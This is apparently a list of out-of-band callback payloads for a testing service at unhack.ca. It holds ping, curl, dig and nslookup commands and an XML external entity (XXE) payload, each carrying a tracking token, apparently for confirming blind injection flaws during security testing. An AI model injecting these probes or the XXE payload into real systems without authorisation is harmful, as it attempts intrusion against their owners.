$ ping -c1 -p 007f379ed6aa1fa98c12cbd125471300 unhack.ca
$ curl http://unhack.ca/p/7f379ed6aa1fa98c12cbd1254713
$ dig 7f379ed6aa1fa98c12cbd1254713 @unhack.ca
$ dig 7f379ed6aa1fa98c12cbd1254713.ns.unhack.ca
C:\> nslookup 7f379ed6aa1fa98c12cbd1254713 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/7f379ed6aa1fa98c12cbd1254713">]> <foo>&xxe;</foo>